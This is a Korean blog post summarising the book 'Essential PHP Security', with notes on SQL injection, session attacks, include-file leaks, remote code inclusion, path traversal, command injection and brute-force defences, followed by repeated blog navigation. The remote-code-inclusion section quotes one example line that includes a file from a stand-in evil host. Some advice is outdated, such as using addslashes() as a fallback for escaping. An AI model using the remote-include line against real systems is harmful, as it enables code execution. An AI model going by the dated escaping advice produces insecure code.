데이터베이스에서 가져오는 모든 데이터를 반드시 필터링해야 하며 이스케이프해야 한다.
흔히 저지르는 실수는 SELECT 쿼리도 데이터베이스로 보내는 데이터라는 것을 잊어 버리는 것이다.
쿼리 자체도 웹 응용프로그램에서 데이터베이스로 보내는 출력이라는 것을 잊지 말아야 한다.
액세스 인증 정보 유출
- 웹서버 루트 안쪽에 인클루드 파일들을 저장하는 것은 위험을 자초한 셈이다.
- 웹서버(아파치)에서 .inc 파일에 대한 요청을 거부 하도록 설정할 수 있다.
  - < Files ~ "\.inc$" >
  - Order allow, deny
  - Deny from all
  - < /Files >
SQL 삽입 공격
- 취약점은 입력하는 데이터를 필터링하지 못하는 것과 데이터베이스에 보내는 데이터를 이스케이프하지 못하는 것 이다.
- 2004년 8월에 MD5에서 일부 해시가 충돌 한는 문제가 언급되었다.
- MD5 암호화 알고리즘은 이미 완전히 깨졌다.
- MYSQL 사용자라면 mysql_real_escape_string() 함수만 사용하면 된다.
  - 만약 제공하지 않는다면 addSlashes() 를 사용할 수 있다.
- 바운드 매개변수를 사용하면 SQL 삽입 공격에 대해 가장 강력한 보호 수단을 갖춘 것이다.

4. 세션과 쿠키

쿠키 홈치기
- 쿠키 사용과 관련된 위험은 공격자가 사용자 쿠키를 훔칠 수 있다는 점이다.
- 예를 들어, 세션ID를 쿠키에 저장한다면 쿠키 노출에 의해 세션 하이재킹까지 가능하기 때문에 심각한 위험이 될수 있다.
세션 데이터 노출
- session_set_save_handler() 를 사용해서 자신만의 세션 저장소를 작성하고, 세션 데이터를 저장할 때 암호화하고 가져올 때 해독하는 함수를 작성하는 것으로 쉽게 구현할 수 있다.
세션 고정
- 공격자는 유효한 세션ID를 얻기 위해 주로 세 가지 방법을 사용한다.
  - 예측, 캡쳐, 고정
- SSL 을 사용하고, 브라우저를 최신의 버전으로 유지하는 것으로 낮출 수 있다.
세션 하이재킹
- 요청들 속에서 일관성을 인식하고 일관되지 않은 행위에 대해서 의심스러운 것으로 다룬다. 하지만 proxy 를 통해서 위조 될수 도 있다.
- 보다 좋은 방법은 신분 확인의 두번째 형태로도 볼 수 있는 것으로 URL에 토큰을 전달하는 것이다.

5. 인클루드

모든 개발자들은 모듈 형태의 디자인의 가치를 이해하고 있어야 한다.
소스 코드 유출
- 인클루드 확장자를 .inc 로 사용하는 경우
- 웹 서버 루트에 인클루드를 저장한 경우
- 아파치에서 .inc 파일에 대한 리소스 타입을 지정하지 않은 경우
- 아파치의 DefaultType^? 설정이 text/plain 인 경우
- URL 을 통해서 인클루드에 접근 할 수 있고 사용자 브라우저에 소스 코드가 표시될 수 있다.
- 모든 인클루드를 웹 서버 루트 바깥에 저장하는 것이 최선의 방법이다.
- 인클루드의 확장자를 .php 로 하는것, .inc 리소스에 대한 요청을 거부 하도록 아파치를 설정하는 방법 등이 있다.
백도어 URL
- URL을 통한 직접 액세스를 의도하지 않았는데 URL을 통해서 직접 리소스에 액세스할 수 있는 것을 말한다.
파일 이름 조작
- 동적 인클루드를 사용해서 페이지의 동적인 부분을 캐시하는 것은 장점이 있지만 한편으로 공격자에게 어떤 캐시된 파일을 표시할지 선택할 수 있는 완벽한 기회를 제공하는 것이기도 하다.
- 동적 인클루드를 사용할 때 결코 오염된 데이터를 사용해서는 안 된다는 것이다.
코드 삽입 공격
- allow_url_fopen 지시문의 사용은 돌려 주는 소스가 PHP 코드라고 상상해 보면, PHP 코드는 해석되고 실행될 수 있다.
- include 'http://evel.sample.org/evil.inc'

6. 파일과 명령

파일 시스템 트래버스
- 오염된 데이터를 파일 이름의 일부로 사용할 때 취약점이 발생한다.
- basename() 함수는 문자열에 원하지 않는 경로 정보가 포함되었는지 조사하는데 유용한 함수다.
원격 파일 위험
- PHP 에서 allow_url_fopen 설정이 있으며 기본 값으로 설정되어 있다. 이 옵션이 설정되어 있으면 PHP에서는 다양한 리소스를 마치 로컬 파일처럼 참조할 수 있다. 이런 경우 공격자가 임의의 코드를 실행하는 것이 가능하기 때문에 PHP 응용프로그램이 가질 수 있는 가장 심각한 취약점으로 간주 된다.
- 항상 입력을 필터링 하고 파일 이름을 지정할 때는 필터링된 데이터만 사용해야 한다.
명령 삽입 공격
- 가능 하면 쉘 명령의 사용을 피할 것을 권한다. 쉘 명령을 사용해야 한다면 실행할 문자열을 구성하기 위해서 필터링된 데이터만 사용해야 하며 항상 실행 결과를 이스케이프해야 한다.

7. 인증과 권한 부여

무차별 공격
- 모든 가능성을 검토하는 공격을 말한다.
- 인증 시도를 제한 하거나 실패 횟수를 제한하는 것은 일반적으로 상당히 효과적인 보호 수단이지만 정상적인 사용자에게 불이익을 주지 않고는 공격자를 식별하고, 막을 수 없다는 딜레마가 존재한다.
- 무차별 공격이 통하지 않게 하기 위해 간단한 시간 지연을 사용할 수 있다.
- 로그인을 실패한 사용자가 15츠 이내에 시도하려고 하면 로그인 정보가 맞더라도 인증이 실패되는 것으로 출력한다.
- 인증 실패의 결과 화면은 항상 같아야 한다.
패스워드 스니핑
- POST 방식의 SSL 사용을 권장한다.
리플레이 공격
- 정상적인 사용자가 액세스권한이나 특별한 권한을 얻기 위해 전송한 데이터를 공격자가 재전송하는 종류의 모든 공격을 뜻한다.
로그인 정보 기억
- 쿠키에 저장되는 정보는 인증에 사용될 수 있는 시간대가 제한되어야 한다.
- 쿠키는 1주일 또는 그 이하의 기간 안에 만료 되어야 한다.
- 쿠키는 오직 한 번의 인증에 대해서만 유효해야 한다.
- 일주일 또는 그 이하의 기간 안의 만료는 서버에서 강제 수행되어야 한다.

8. 공유 호스팅

소스 코드 유출
- 웹 서버 루트 바깥에 저장된 db.inc 파일이 있다고 하자.
- 이 문제에 대한 가장 좋은 해결책은 root만 읽을 수 있는 파일에 서버 환경 변수로 설정하여 액세스 하는 것이다.
- chmod 600 db.conf
- phpinfo() 같은 함수의 실행 결과를 공개적으로 액세스할 수 없게 해야 한다.
세션 데이터 유출
- 가장 좋은 해결책은 사용자 이름과 비밀번호로 보호되는 데이터베이스에 세션 데이트를 저장하는 것이다.
세션 삽입 공격
- 이 공격 유형은 웹 서버가 세션 데이터 저장소에 대해 읽기 권한 뿐만 아니라 쓰기 권한도 있다는 사실을 이용한 것이다.
- 가장 좋은 해결책은 데이터베이스에 세션 데이터를 저장하는 것이다.
파일 시스템 브라우징
안전 모드
- PHP 의 안전모드는 장벽을 높이는 역할을 하기 때문에 심층 방버 전략으로는 고려해볼 만하다.

도서명 : PHP 보안
지은이 : 크리스쉬플릿
출판사 : 한빛미디어 펴냄
도서정보 : 2006-03-04 | ISBN:8979143877 | 164 쪽
분야 : 도서 > 컴퓨터와인터넷 > 개발,OS,DB > 웹,네트워크프로그래밍
판매가 : 정가 ~~12,000~~원 | 최저가 9,600원
미리보기 : 책소개, 저자소개, 목차
도서요약 :당신의 PHP 코드에는 보안이 고려되어 있습니까? IT 오늘날 가장 인기있는 웹 개발 도구인 PHP로 많은 웹 ...더보기

:

jjeong

'security'에 해당되는 글 18건

[Elasticsearch] head plugin + http auth plugin

Spring Security <password-encoder>

B.2.4 `<password-encoder>`

Parent Elements of `<password-encoder>`

`<password-encoder>` Attributes

`base64`

`hash`

`ref`

Child Elements of `<password-encoder>`

Spring Security InMemory + JDBCImpl 설정 방법.

Spring Security 설정 방법

REST용 추가 설정

3. Spring MVC 에 Spring Security 적용해 보기

사내 운영툴 Referrer 제거하기.

web server security

Apache Security

[펌]Chapter 1. 웹 보안의 개념과 이해

PHP 보안 (Essential PHP Security)

1. 소개

2. 폼과 URL

3. 데이터베이스와 SQL

4. 세션과 쿠키

5. 인클루드

6. 파일과 명령

7. 인증과 권한 부여

8. 공유 호스팅

티스토리툴바

'security'에 해당되는 글 18건

B.2.4 <password-encoder>

Parent Elements of <password-encoder>

<password-encoder> Attributes

base64

hash

ref

Child Elements of <password-encoder>

Spring Security 설정 방법

REST용 추가 설정

1. 소개

2. 폼과 URL

3. 데이터베이스와 SQL

4. 세션과 쿠키

5. 인클루드

6. 파일과 명령

7. 인증과 권한 부여

8. 공유 호스팅

티스토리툴바

B.2.4 `<password-encoder>`

Parent Elements of `<password-encoder>`

`<password-encoder>` Attributes

`base64`

`hash`

`ref`

Child Elements of `<password-encoder>`